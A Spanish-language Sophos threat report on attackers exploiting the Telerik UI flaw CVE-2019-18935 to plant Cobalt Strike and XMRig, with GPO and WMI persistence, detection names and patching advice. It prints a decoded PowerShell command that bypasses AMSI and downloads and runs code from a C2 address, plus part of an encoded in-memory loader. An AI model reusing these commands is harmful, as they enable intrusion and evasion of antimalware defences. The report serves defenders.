A mockingbird sitting on a wire
Búsqueda de Ciberamenazas

La explotación de Telerik UI lleva a infecciones de criptomineros y Cobalt Strike

Utilizando una metodología vista por primera vez en 2020, un actor de amenazas desconocido ha estado explotando un error de tres años en el marco de la aplicación web Telerik UI para tomar el control de los servidores web, instalando balizas Cobalt Strike y otro malware en el proceso.

En las semanas que siguieron a la revelación inicial de la vulnerabilidad en 2019, los atacantes exploraron Internet en busca de aplicaciones vulnerables. Muchos administradores de servidores fueron sorprendidos por una rápida oleada de ataques que entregaron criptomineros. Pero no todos los servidores vulnerables fueron atacados en la oleada inicial; el fallo fue explotado de forma rutinaria a lo largo de 2020 y 2021 (especialmente por los operadores de ransomware Netwalker, de los que ya hemos hablado), y el equipo de Sophos Managed Threat Response ha intervenido en varios ataques nuevos desde principios de mayo.

En los incidentes que investigamos, el actor de la amenaza explotó la vulnerabilidad (designada CVE-2019-18935) para entregar una baliza de Cobalt Strike (en forma de carga útil DLL) en el disco, luego usó la baliza para ejecutar comandos PowerShell codificados, que descargaron más malware, y establecieron la persistencia en los servidores a través de algunos métodos novedosos.

Estas tácticas se parecen mucho a las utilizadas en una serie de ataques de hace dos años, atribuidos entonces a un actor de amenazas apodado Blue Mockingbird. No es un secreto, por supuesto, que los actores de amenazas suelen reutilizar tácticas, técnicas y procedimientos (TTP) y dirigirse a vulnerabilidades conocidas y no parcheadas, en lugar de tomarse la molestia de desarrollar nuevos enfoques.

El intento de ejecución de comandos PowerShell activó las reglas de detección basadas en el comportamiento de Sophos, lo que nos permitió desalojar al actor de la amenaza y evitar que los ataques hicieran más daño.

CVE-2019-18935

Telerik UI para ASP.NET AJAX es un conjunto de componentes y temas para construir aplicaciones web, que incluye un montón de objetos programables que pueden manipular el funcionamiento o el aspecto de una página web. Algunos de esos objetos pueden comportarse como scripts o pequeños programas, y la interfaz de gestión de Telerik ofrece a los desarrolladores o administradores del sitio la posibilidad de cargar nuevos módulos u otros componentes bajo demanda.

El fallo en cuestión, CVE-2019-18935, es una vulnerabilidad de deserialización que afecta a las aplicaciones web que utilizan Telerik y que se ejecutan en servidores Windows, concretamente, en la función RadAsyncUpload de Telerik UI, utilizada para procesar las peticiones de subida de archivos.

La serialización es cuando una aplicación web convierte estructuras de datos complejas, como objetos, en un flujo de bytes, que luego pueden ser almacenados en el disco o enviados a través de una red. La deserialización, como su nombre indica, consiste en volver a convertir ese flujo de bytes en el objeto original. Pero si una aplicación web deserializa datos a partir de la entrada del usuario, un atacante puede introducir código malicioso en el objeto serializado, o incluso reemplazar el objeto por completo. Los posibles impactos de las vulnerabilidades de deserialización incluyen la denegación de servicio, la evasión de la autenticación y, como en este caso, la ejecución remota de código. Como resultado, la Base de Datos Nacional de Vulnerabilidades (NVD) determinó que CVE-2019-18935 tiene una puntuación CVSS de 9,8 (CRÍTICA).

Sin embargo, el fallo es un poco más complejo de lo que parece a primera vista. La serialización dentro del manejador de carga en Telerik UI está protegida por claves de cifrado, y un atacante necesita conocerlas antes de poder explotar la vulnerabilidad. Pueden abusar de errores anteriores en Telerik UI (CVE-2017-11317 y CVE-2017-11357) para hacer precisamente eso, aunque esto requiere encontrar un host que todavía sea vulnerable. O un atacante podría obtener las claves a través de algún otro medio, por ejemplo, explotando otra vulnerabilidad en una aplicación web.

Una vez hecho esto, el atacante tiene que compilar una DLL de ensamblaje de modo mixto malicioso, que contiene código administrado y no administrado, que, después de la explotación, se ejecuta en el contexto del proceso w3wp.exe, responsable de ejecutar las aplicaciones web en los hosts de Windows.

Así que hay algunos requisitos previos para esta cadena de exploits: encontrar un host vulnerable, explotar una vulnerabilidad de hace cinco años para obtener las claves de cifrado (u obtenerlas de otra manera), compilar el tipo correcto de DLL y luego explotar el fallo de deserialización. Parece mucho esfuerzo.

Sin embargo, los investigadores publicaron una prueba de concepto a mediados de diciembre de 2019, que hace la mayor parte del trabajo pesado. Contiene código de otro repositorio para manejar la lógica de cifrado, y un archivo por lotes para compilar la DLL, lo que lo hace esencialmente “apuntar y disparar” (un módulo Metasploit disponible lo hace aún más fácil).

Telerik emitió un parche para la vulnerabilidad, pero debido a que el marco de interfaz de usuario de Telerik suele estar incrustado en aplicaciones web personalizadas y únicas, puede ser difícil para los propietarios de los servidores donde se ejecutan esas aplicaciones averiguar si su aplicación única es vulnerable al exploit antes de que sean víctimas de un ataque.

Los atacantes no reinventan el ataque

Los ataques observados por Sophos MTR parecían utilizar el script de prueba de concepto mencionado anteriormente, con una DLL de baliza de Cobalt Strike utilizada como carga útil. Una de las peculiaridades de este exploit es que, cuando el atacante sube la DLL al servidor, siempre acaba en el directorio C:\Windows\Temp del host objetivo, con una marca de tiempo de Unix como nombre de archivo, lo que nos permite averiguar exactamente cuándo los atacantes explotaron el fallo.

La carga útil de Cobalt Strike se comunica con un servidor de comando y control ubicado en la República Checa, con la siguiente configuración de baliza:

Configuration details for the Cobalt Strike beacon
Figura 1: Configuración de la baliza Cobalt Strike

Tras la ejecución de la carga útil de Cobalt Strike, los atacantes ejecutaron un comando PowerShell codificado en Base64, para descargar y ejecutar malware adicional desde el servidor C2.

Decoded PowerShell which downloads malware from the attacker's C2 server
Figura 2: Los comandos PowerShell descodificados

En los entornos protegidos por Sophos, la ejecución de PowerShell que se muestra aquí activa una regla de detección basada en el comportamiento, que termina el proceso malicioso de PowerShell y abre un caso de Sophos MTR para investigar más a fondo.

Nuestro análisis de setup192.exe revela que genera cmd.exe para la auto-inyección y deja caer otros dos archivos sospechosos (crby26td.exe y a.json) en C:\Windows\Temp.

crby26td.exe es XMRig Miner, un minero de criptomonedas de código abierto legítimo diseñado para minar Monero, y a.json es un archivo que contiene información de configuración para la criptominería:

A JSON file with XMRig Miner configuration details
Figura 3: El contenido de a.json, que contiene detalles de configuración del malware XMRig Miner

El campo “usuario” de arriba es el ID de la cartera de Monero  pero, debido al diseño de Monero, no podemos ver el saldo de la cartera.

A los atacantes les encanta XMRig Miner, y lo vemos a menudo, muchas veces junto con vulnerabilidades generalizadas como Log4J (CVE-2021-44228).

Persistencia a través de objetos de directiva de grupo

Unos días más tarde, en un entorno no relacionado, el equipo de Sophos MTR respondió a un incidente en el que un actor de la amenaza estaba realizando un movimiento lateral y estableciendo persistencia a través de los GPO de Active Directory.

Un GPO es un contenedor de configuraciones de directivas de grupo, y los atacantes pueden aprovechar la enumeración de los GPO (que son, por defecto, legibles por los usuarios de dominio autenticados) para identificar oportunidades de escalada de privilegios. Sin embargo, los GPO también pueden utilizarse para establecer la persistencia y complementar el movimiento lateral, como en este caso.

Tras una investigación más profunda de la red, identificamos que los atacantes habían explotado un servidor web desprotegido que era vulnerable a CVE-2019-18935. Después de obtener el acceso inicial, el actor de la amenaza pivotó desde el servidor web comprometido hasta los Controladores de Dominio desprotegidos para plantar el GPO malicioso.

A flowchart showing the attack chain
Figura 4: La cadena de ataque observada por Sophos MTR

El GPO en cuestión creaba tareas programadas con nombres únicos, que se ejecutaban una sola vez, en todas las estaciones de trabajo, lo que daba lugar a datos codificados -un comando cmd.exe codificado en hexadecimal, junto con PowerShell codificado en Base64- que se escribían en la siguiente clave del registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\
{unique_task_name}
An encoded malicious scheduled task in the Windows registry
Figura 5: La tarea programada maliciosa codificada en el registro

Hemos utilizado una receta de CyberChef para descifrar estos datos, dando como resultado:

$a='msi';
[Ref].Assembly.GetType('System.Management.Automation.A'+$a+'Utils').GetField('a'+$a+'InitFailed',
'NonPublic,Static').SetValue($null,$true);IEX ((new-object 
net.webclient).downloadstring('hxxp://212.192.241[.]155:8000/a'))

Este comando utiliza una técnica común de evasión de la interfaz de scripting antimalware (AMSI); nótese que el atacante utiliza la concatenación de cadenas (la variable $a) para evadir las firmas de Windows Defender diseñadas para bloquear esta técnica.

hxxp[:]//212.192.241[.]155:8000/a es un script remoto de PowerShell, esta vez codificado con gunzip y XOR:

$s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String("H4sIAAAAAAAAAOy9Wa/qSrIu+rzrV8yHLa21xNo1wIAxR9rSNTYY444eTJ1SyRjjBtw3Y
[-truncated-] 
q3f94xVr4oD97z0xm85f6tKh+Lyqqi6t93gML5LP4X98EPpf5971L/3eXp5EPvVTX6eZfVa19rfwJCUODYO2EFAA=="));IEX 
(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Cuando se decodifica (consulta aquí un manual básico sobre la decodificación de PowerShell malicioso), el script carga una DLL de Cobalt Strike en la memoria. Al igual que en los incidentes anteriores, se descargó XMRig Miner. También observamos un binario adicional, tuh25o6n.exe, que descargaba hxxp[:]//212.192.241[.]155/up/setup.exe y, como antes, lo guardaba en C:\Windows\Temp\setup192.exe o C:\Users\Public\setup192.exe.

Además de una tarea programada, el atacante instaló un consumidor persistente de Windows Management Instrumentation (WMI) ActiveScriptEvent llamado WindowsUpdate, para descargar y ejecutar el malware desde el servidor C2 en hxxp[:]//212.192.241[.]155/up/setup.exe. Los actores de amenazas pueden utilizar los consumidores de WMI ActiveScriptEvent para ejecutar un script predefinido tras la activación de un evento, y configurar este comportamiento como persistente o único. En este caso, no estaba claro cuál era el evento, pero puede haber sido la aplicación de la configuración de GPO (ID de evento 1500), que según nuestras observaciones coincidió con la creación de tareas maliciosas.

A malicious WMI ActiveScriptEvent consumer
Figura 6: El consumidor malicioso de WMI ActiveScriptEvent

¿Simulacro de Blue Mockingbird?

En mayo de 2020, investigadores informaron que un actor de la amenaza apodado Blue Mockingbird estaba explotando CVE-2019-18935 para instalar XMRig Miner y establecer la persistencia utilizando múltiples técnicas, incluidas las tareas programadas.

Hasta aquí, todo muy parecido. Sin embargo, hay algunas diferencias clave en los casos que observamos. Por ejemplo, en los incidentes de 2020, XMRig Miner se empaquetó como DLL y se utilizó como carga útil principal, mientras que vimos que Cobalt Strike se utilizó inicialmente y XMRig se descargó más tarde en la cadena de ataque a través de un binario intermedio.

Blue Mockingbird también utilizó un COR_PROFILER COM hijack para la persistencia, tareas remotas programadas para el movimiento lateral, y Juicy Potato para la escalada de privilegios (así como Mimikatz para obtener credenciales), mientras que estas técnicas estaban ausentes en nuestras investigaciones.

Curiosamente, el mecanismo C2 de Blue Mockingbird parecía ser experimental en 2020, con el actor de la amenaza probando varias herramientas, incluyendo shells inversos en forma de PowerShell y DLL. Así que es posible que el actor de la amenaza que observamos sea un Blue Mockingbird reequipado, con una cadena de infección refinada y un mecanismo C2 (relativamente) disponible en la forma de Cobalt Strike, o podría ser un actor de amenazas diferente, haciendo sus propias mejoras a la metodología de Blue Mockingbird.

En cualquier caso, está claro que la CVE-2019-18935 no va a desaparecer. Como se muestra en el siguiente gráfico de Google Trends, las búsquedas de “CVE-2019-18935” alcanzaron su punto máximo a finales de mayo de 2020, más o menos cuando se informó de que estaba siendo explotado activamente por Netwalker y Blue Mockingbird. A continuación, la actividad disminuyó y se produjo una pausa entre noviembre de 2021 y enero de 2022, pero desde entonces se ha producido un repunte, que puede estar relacionado con algunos de los ataques que el equipo de Sophos MTR ha investigado.

A Google Trends graph showing searches for CVE-2019-18935
Figura 7: Búsquedas en Google de “CVE-2019-18935” entre diciembre de 2019 y junio de 2022

Si se observan nuestras detecciones de XMRig Miner (en todos los ataques) entre diciembre de 2021 y junio de 2022 se obtiene una comparación interesante: niveles de actividad bastante bajos hasta un pico significativo a finales de marzo de 2022, seguido de niveles sostenidos de mayor actividad a lo largo de abril y mayo.

A graph showing Sophos detections of XMRig Miner
Figura 8: Detecciones de Sophos de XMRig Miner entre diciembre de 2021 y mayo de 2022

Por supuesto, no todos los ataques que implican a XMRig Miner implican también a CVE-2019-18935 (y viceversa), y hay todo tipo de explicaciones posibles para las fluctuaciones que se ven en ambos gráficos. Sin embargo, lo que sí ilustran es que, aunque los intereses de los actores de las amenazas en determinadas vulnerabilidades y herramientas pueden variar a corto plazo, a menudo vuelven a las metodologías probadas.

Detección y orientación

Independientemente de que el actor de la amenaza en este caso sea Blue Mockingbird, hay tres puntos clave de aprendizaje para las organizaciones. El primero es la higiene básica de la seguridad: asegurarse de que se dispone de una sólida protección contra el ransomware y el malware, y aplicar parches actualizados a los productos y componentes orientados a Internet, como Telerik UI. Esto puede ser difícil si tu aplicación web fue desarrollada hace tiempo o por, por ejemplo, desarrolladores contratados. Para comprobar si es vulnerable a CVE-2019-18935, existe un escáner para CVE-2019-18935, que incluye un script de Python y un plugin de Nmap Scripting Engine (NSE), aunque, como siempre, tenga cuidado al utilizar escáneres y herramientas de terceros.

La segunda es que incluso las vulnerabilidades relativamente antiguas pueden ser de gran interés para los actores de las amenazas; sólo porque un error haya desaparecido del ciclo de noticias de ciberseguridad, no hace que sea menos impactante cuando se explota.

Y, por último, estos incidentes demuestran que las TTP de los actores de las amenazas suelen evolucionar a través de un refinamiento gradual y progresivo, ya sea de sus propios enfoques o de los de otros. Mientras que las nuevas vulnerabilidades y las técnicas novedosas pueden acaparar los titulares, no sin razón, una infección exitosa puede ser el resultado de unos pocos ajustes en una cadena de ataque establecida. Los actores de las amenazas, como todo el mundo, suelen preferir que las cosas sean sencillas.

Nos pusimos en contacto con Telerik para hacerles saber que esta vulnerabilidad sigue siendo explotada. Nos respondieron con los consejos que enviaron previamente a sus clientes en 2020: “Las correcciones se proporcionaron a nuestros clientes y socios en 2017 y 2019. Para protegerse contra esta vulnerabilidad, le recomendamos que actualice a R1 2020 (versión 2020.1.114) o posterior. Si no estás seguro si esto te impacta, ve a esta página“. Telerik también ha incluido enlaces a sus artículos sobre CVE-2017-11317 y CVE-2019-18935.

Los productos endpoint de Sophos instalados en servidores web detectarán el descargador setup192.exe como Troj/Miner-AED, y el descargador tuh25o6n.exe como Troj/DwnLd-ADF. La DLL de Cobalt Strike será detectada como Mem/Meter-G, y la carga útil de Cobalt Strike ejecutada en memoria será detectada como Troj/PShlSpy-A y ATK/Cobalt-CP. XMRig Miner será detectado como una aplicación potencialmente no deseada (PUA), y el archivo de configuración asociado como Coinminer Config. Además, las detecciones de comportamiento como Exec_30a interceptarán e impedirán la descarga y ejecución de binarios a través de PowerShell, como se observa aquí. Las múltiples solicitudes GET a [HOST]/Telerik.Web.UI.WebResource.axd?type=rau en los registros de su servidor web pueden indicar posibles intentos de explotación.

SophosLabs ha publicado en nuestro repositorio de Github los IOC relacionados con las muestras analizadas en este informe.

Agradecimientos

SophosLabs desea agradecer las contribuciones de Gabor Szappanos, Gabe Renfro, John Carlo Adriano, Aaron Sullivan, Chaz Denney, Colby Olinarez y el resto del equipo de Sophos MTR a este informe.